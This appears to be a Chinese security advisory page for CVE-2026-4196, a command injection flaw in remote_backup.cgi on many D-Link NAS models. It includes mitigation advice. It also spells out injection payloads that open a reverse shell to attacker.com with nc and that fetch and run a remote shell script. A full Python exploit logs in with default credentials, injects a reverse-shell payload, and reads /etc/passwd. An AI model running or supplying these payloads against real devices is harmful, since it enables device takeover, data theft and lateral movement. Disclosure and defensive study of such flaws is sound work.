IPBUF安全漏洞报告
English
CVE-2026-4196 CVSS 6.3 中危

D-Link多款NAS设备remote_backup.cgi命令注入漏洞(CVE-2026-4196)

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4196
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04

相关标签

命令注入远程代码执行D-LinkNASCVE-2026-4196CGI注入网络存储设备Web漏洞

漏洞概述

CVE-2026-4196是D-Link多款NAS网络存储设备中存在的一个命令注入漏洞。该漏洞位于设备的/cgi-bin/remote_backup.cgi文件中,影响多个备份相关的CGI函数,包括cgi_recovery、cgi_backup_now、cgi_set_schedule和cgi_set_rsync_server。由于这些函数对用户输入缺乏有效的安全过滤和参数校验,攻击者可以通过构造恶意请求在服务器上注入并执行任意系统命令。漏洞的CVSS评分为6.3,属于中危级别,攻击向量为网络形式,无需用户交互,但需要低权限认证。成功利用此漏洞的攻击者可以完全控制受影响设备,执行任意系统操作,包括读取敏感数据、安装后门、修改配置或进一步横向移动到内网其他系统。该漏洞已于2026年2月5日之前被发现并披露,相关利用代码已公开。

技术细节

该命令注入漏洞源于D-Link NAS设备Web管理界面中/cgi-bin/remote_backup.cgi脚本对用户可控参数缺乏严格的输入验证。攻击者可以通过HTTP请求向该CGI脚本发送包含恶意系统命令的参数值。当设备处理这些请求时,未经消毒的用户输入会被直接拼接到系统命令字符串中,并通过system()或popen()等函数执行。以cgi_set_schedule函数为例,攻击者可以在schedule参数中注入类似';whoami;'或'|nc -e /bin/bash attacker.com 4444'的恶意命令片段。设备在解析HTTP请求时,会将这些命令注入 payload作为系统命令的一部分执行。由于Web服务通常以root或admin权限运行,攻击者成功利用后可获得设备的最高控制权限。攻击者常利用此漏洞建立反向Shell连接,从而实现对设备的远程持久控制。

攻击链分析

STEP 1
步骤1: 侦察与目标识别
攻击者使用Shodan、ZoomEye或Nmap等工具扫描互联网或内网中运行D-Link NAS固件且暴露Web管理界面的设备,确认目标IP地址和端口(通常为80或443)
STEP 2
步骤2: 认证与低权限访问
攻击者使用设备默认凭据或通过社工手段获取的低权限账号(如admin/admin)登录Web管理界面,建立有效会话
STEP 3
步骤3: 构造恶意请求
攻击者构造针对/cgi-bin/remote_backup.cgi的HTTP POST请求,在cgi_set_schedule、cgi_backup_now、cgi_recovery或cgi_set_rsync_server函数的参数中注入系统命令,如';nc -e /bin/bash attacker.com 4444;'或'|wget http://attacker.com/shell.sh|bash;'
STEP 4
步骤4: 命令注入执行
设备Web服务接收到请求后,由于缺乏输入过滤,恶意命令被拼接到系统命令中并通过system()或popen()函数执行,攻击者成功在服务器上获得代码执行能力
STEP 5
步骤5: 建立持久控制
攻击者利用命令执行能力下载并安装后门程序、添加SSH公钥或建立反向Shell连接,实现对设备的持久远程控制
STEP 6
步骤6: 横向移动与数据窃取
攻击者可以读取存储在NAS设备上的敏感文件、监控网络流量、在内网中横向移动攻击其他系统,或将设备作为跳板进一步渗透核心网络

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-4196 PoC - D-Link NAS Command Injection # Target: D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, # DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, # DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04 target_ip = "192.168.1.100" target_port = 80 target_url = f"http://{target_ip}:{target_port}/cgi-bin/remote_backup.cgi" # Login credentials (low privilege required) username = "admin" password = "admin" # Command injection payload - creates reverse shell # Inject via cgi_set_schedule function payload = ";nc -e /bin/bash <attacker_ip> <attacker_port>;" def exploit_cve_2026_4196(): """Exploit command injection in remote_backup.cgi""" # Step 1: Login to obtain session login_data = { "username": username, "password": password } session = requests.Session() login_response = session.post( f"http://{target_ip}:{target_port}/cgi-bin/login.cgi", data=login_data ) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit via cgi_set_schedule function exploit_data = { "func": "cgi_set_schedule", "schedule_name": "backup_job", "schedule_time": payload, # Command injection point "backup_type": "full" } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully") print("[*] Check for reverse shell on attacker machine") return True else: print("[-] Exploit failed") return False def alternative_exploit(): """Alternative exploit via cgi_backup_now function""" session = requests.Session() # Login first session.post( f"http://{target_ip}:{target_port}/cgi-bin/login.cgi", data={"username": username, "password": password} ) # Exploit via cgi_backup_now exploit_data = { "func": "cgi_backup_now", "backup_path": ";cat /etc/passwd > /tmp/pwned;" } response = session.post(target_url, data=exploit_data) return response.status_code == 200 if __name__ == "__main__": print("CVE-2026-4196 D-Link NAS Command Injection Exploit") print("=" * 50) exploit_cve_2026_4196()

影响范围

D-Link DNS-120 固件版本 < 20260205
D-Link DNR-202L 固件版本 < 20260205
D-Link DNS-315L 固件版本 < 20260205
D-Link DNS-320 固件版本 < 20260205
D-Link DNS-320L 固件版本 < 20260205
D-Link DNS-320LW 固件版本 < 20260205
D-Link DNS-321 固件版本 < 20260205
D-Link DNR-322L 固件版本 < 20260205
D-Link DNS-323 固件版本 < 20260205
D-Link DNS-325 固件版本 < 20260205
D-Link DNS-326 固件版本 < 20260205
D-Link DNS-327L 固件版本 < 20260205
D-Link DNR-326 固件版本 < 20260205
D-Link DNS-340L 固件版本 < 20260205
D-Link DNS-343 固件版本 < 20260205
D-Link DNS-345 固件版本 < 20260205
D-Link DNS-726-4 固件版本 < 20260205
D-Link DNS-1100-4 固件版本 < 20260205
D-Link DNS-1200-05 固件版本 < 20260205
D-Link DNS-1550-04 固件版本 < 20260205

防御指南

临时缓解措施
在官方补丁发布之前,可通过以下临时措施降低风险:1)使用防火墙或安全组规则限制对NAS设备Web管理端口(80/443)的访问,仅允许内网可信IP访问;2)修改默认管理密码为高强度密码;3)禁用设备的远程管理功能或将其设置为仅允许本地访问;4)启用设备的访问日志记录,监控异常的CGI请求;5)考虑使用网络分段将NAS设备隔离在独立的VLAN中,限制攻击成功后的横向移动风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表